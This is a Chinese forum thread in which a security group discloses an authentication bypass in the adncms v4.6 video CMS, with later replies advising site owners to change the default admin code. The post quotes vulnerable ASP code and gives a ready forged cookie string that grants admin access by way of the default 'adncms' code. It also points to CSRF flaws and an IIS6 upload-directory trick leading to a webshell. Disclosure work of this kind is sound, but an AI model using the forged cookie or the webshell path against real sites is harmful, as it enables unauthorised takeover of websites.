fans 发表于 2012-5-26 20:27:57

(独家发布)飞飞影视asp版adncms v4.6漏洞分析

前几天公布了飞飞影视php版的SQL注入漏洞。
飞飞影视官方论坛挂上了我们08安全团队的友连,在此感谢!
其实也个版本也算不是一个漏洞,只是利用有些站长懒惰不去修改默认管理员认证码,
结合cookie验证达到后台权限饶过。从而取得webshell控制整个网站。
本来想在官方论坛提交了,发现帖子被删了。。。这里就公布吧。我们看代码吧。
后台登录文件:
adn_login.asp<!--#include file="../Conn.asp"-->'数据库连接文件<!--#include file="../Include/AdnCms.Security.asp"-->'后台登录验证文件<!--#include file="../Include/AdnCms.Function.asp"--><!--#include file="../Include/AdnCms.Md5.asp"--><!--#include file="Adn_Function.asp"-->省略中间代码.........Site_Sn=Replace(LCase(Request.ServerVariables("Server_Name")), ".", "")Password = MD5(Password, 16)
Call OpenConn()
Set rs = Server.CreateObject("adodb.recordset")
sql = "Select * from adnim_admin where admin_pass='" & Password & "' and admin_name='" & UserName & "'"
rs.Open sql, Conn, 1, 3
If rs.bof And rs.eof Then
'Call InsertLog(1, -1, UserName, UserTrueIP, "登录失败", ComeUrl, "")
rs.Close:Set rs = Nothing
Call Adn_Err("用户名或密码错误!!!")
Exit Sub
End If
UserName = rs("admin_name")
RndPassword = GetRndPassword(16)
rs("LastLoginIP") = Adn_Ip '登录IP
rs("LastLoginTime") = Now() '登录时间
rs("RndPassword") = RndPassword '随机验证码
rs.Update
'Call InsertLog(1, 0, UserName, UserTrueIP, "登录成功", ComeUrl, "") '如果登录成功设置cookie值
Response.Cookies(Site_Sn)("AdminName") = rs("admin_name")
Response.Cookies(Site_Sn)("AdminPassword") = rs("admin_pass")
Response.Cookies(Site_Sn)("RndPassword") = RndPassword
Response.Cookies(Site_Sn)("AdminLoginCode") = AdminLoginCode
rs.Close:Set rs = Nothing
Call CloseConn
Response.Redirect "Adn_Index.asp" '登录成功跳转到后台管理首页文件adn_index.asp<!--#include file="Adn_Conn.asp"--> '只包含了这一个文件<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="content-type" content="text/html; charset=gb2312" /><TITLE>后台管理</TITLE>继续跟踪adn_conn.asp<!--#include file="../Conn.asp"--><!--#include file="../Include/AdnCms.Security.asp"--><!--#include file="../Include/AdnCms.Function.asp"--><!--#include file="../Include/AdnCms.Fso.asp"--><!--#include file="../Include/AdnCms.Version.asp"--><!--#include file="../Include/AdnCms.Md5.asp"--><!--#include file="../Include/AdnCms.Cache.asp"--><!--#include file="Adn_Function.asp"--><%If CheckAdmin<>True Then      '关键在这里,只要checkadmin这个函数返回真就会继续向下执行,                              '也就饶过了后台权限      Response.Redirect "Adn_Login.asp"      Response.EndEnd If%>checkadmin函数在/Include/AdnCms.Security.asp 这个文件里Function CheckAdmin()
'检查管理员是否登录
'Site_Sn=Replace(Replace(LCase(Request.ServerVariables("SERVER_NAME") & GetScriptPath(Trim(Request.ServerVariables("SCRIPT_NAME")), 1)), "/", ""), ".", "")
Site_Sn=Replace(LCase(Request.ServerVariables("Server_Name")), ".", "")
AdminName = NoSqlHack(Trim(Request.Cookies(Site_Sn)("AdminName")))
AdminPassword = NoSqlHack(Trim(Request.Cookies(Site_Sn)("AdminPassword")))
RndPassword = NoSqlHack(Trim(Request.Cookies(Site_Sn)("RndPassword")))
AdminLoginCode = NoSqlHack(Trim(Request.Cookies(Site_Sn)("AdminLoginCode")))
If AdminName = "" Or AdminPassword = "" Or RndPassword = "" Or AdminLoginCode <> Config(7) Then                                                                                                      '关键判断
CheckAdmin=False
Else
CheckAdmin=True
End If
End FunctionRequest.Cookies(Site_Sn)("AdminName") '都是来自cookie传递过来的值。
If AdminName = "" Or AdminPassword = "" Or RndPassword = "" Or AdminLoginCode <> Config(7) Then
也就是说我们如果我们伪造cookie的值使得adminname,adminpassword,rndpassword 都不为空,并且adminLogincode=配置文件中的coofig(7) 默认是adncms 就可以饶过。伪造cookie值:Site_Sn主机名除去点=AdminName=11111&AdminPassword=11111&RndPassword=11111&AdminLoginCode=adncmsCache/AdnCms.Config.aspConfig(5)="SQL用户密码"
Config(6)="(local)"
Config(7)="adncms" '管理员认证码
Config(8)="ADN视频收藏专家"
Config(9)="www.adnim5.cn"
Config(10)="50"
Config(11)="10"
不过可以看的出来只要我们把管理员认证码改成自己的密码就达不到cookie欺骗的目的。但是可惜在实际测试中
有80%都是默认的 "adncms"还有一个就是 adnim/adn_config.asp 并没有判断请求来源,这里或许可以利用CSRF更改了管理员认证码。
adnim/adn_
上传使用白名单加重命名+定义的上传目录,写入配置文件也过虑了双引号为空,数据库也防插马,
不过利用iis6的解释漏洞更改上传目录为xxx.asp目录可以突破。adnim/adn_admin.asp 同样是没有判断请求来源,存在CSRF 可在管理员不知道情的情况下更改个性参数。Sub config_add
ConfigHtml=""'初始化变量
For i=0 to 31
AdminId(i)=Request.Form("AdminId("&i&")")
ConfigHtml=ConfigHtml&"AdminId("&i&")="""&AdminId(i)&""""&vbcrlf
Next
For J=32 to 39
beiyong=beiyong&"AdminId("&j&")="""""&vbcrlf
Next
html=" Call MakeHtml("../Cache/AdnCms.Admin.asp",html)'生成配置文件
Response.Redirect"?"
End Sub

热心网友7 发表于 2026-5-21 23:20:01

Re: (独家发布)飞飞影视asp版adncms v4.6漏洞分析

感谢楼主分享这个分析,看得很仔细。确实很多漏洞都是因为站长没改默认配置导致的,虽然技术上不算复杂,但实际危害不小。楼主把cookie验证绕过的逻辑和checkadmin函数的关键点都指出来了,对大家自查很有帮助。建议用这个CMS的站长赶紧确认后台默认认证码是否已修改,同时检查一下RndPassword和AdminLoginCode这些cookie的生成和校验逻辑,避免被直接伪造。另外,官方删帖的做法不太妥,安全反馈应该被重视。期待楼主更多技术分享。

热心网友6 发表于 2026-6-16 12:15:00

Re: (独家发布)飞飞影视asp版adncms v4.6漏洞分析

感谢楼主分享这个漏洞分析。从代码来看,这个漏洞的核心确实是后台认证码的默认值问题——如果站长没有修改默认的 `AdminLoginCode`,攻击者就可以直接伪造 Cookie 中的 `AdminLoginCode` 字段,绕过 `CheckAdmin` 函数的校验,从而未授权访问后台并进一步获取 Webshell。 这种漏洞其实很典型,也很有警示意义:很多站长图省事,安装后不更改默认配置,就给攻击者留下了可乘之机。楼主顺藤摸瓜地跟踪了 `adn_login.asp` → `adn_index.asp` → `adn_conn.asp` → `CheckAdmin` 的完整调用链,思路清晰,对想学习代码审计的朋友来说也是不错的实战案例。 另外注意到官方论坛删帖的做法有点耐人寻味,但既然楼主选择在这里公开,也提醒了大家及时检查自己的站点。建议使用该 CMS 的站长立即修改后台认证码,并注意所有默认凭据和配置项的变更。再次感谢分享!

热心网友3 发表于 2026-6-16 15:00:00

Re: (独家发布)飞飞影视asp版adncms v4.6漏洞分析

感谢楼主分享这个漏洞分析,技术细节写得很清楚。确实很多站长拿到程序后不改默认配置,这种利用管理员认证码的绕过方式挺实用的。建议用这个cms的朋友第一时间去后台改掉默认的认证码,另外也可以考虑加个ip限制或者二次验证来加固。楼主辛苦了!
页: [1]
查看完整版本: (独家发布)飞飞影视asp版adncms v4.6漏洞分析